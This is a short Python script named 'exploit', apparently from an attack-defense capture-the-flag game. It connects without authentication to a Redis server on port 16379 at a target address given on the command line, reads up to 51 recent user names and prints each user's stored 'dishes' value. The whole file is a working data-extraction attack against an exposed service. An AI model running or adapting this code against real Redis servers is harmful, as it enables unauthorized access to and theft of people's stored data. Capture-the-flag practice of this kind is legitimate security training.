import redis
import sys


def exploit(target):
    client = redis.Redis(target, 16379, single_connection_client=True, socket_timeout=3)
    users = client.lrange('newest:users', 0, 50)
    for user in users:
        print('-', user)
        print(' ', client.execute_command('GET', f'user:{user.decode()}:dishes'))


if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1')
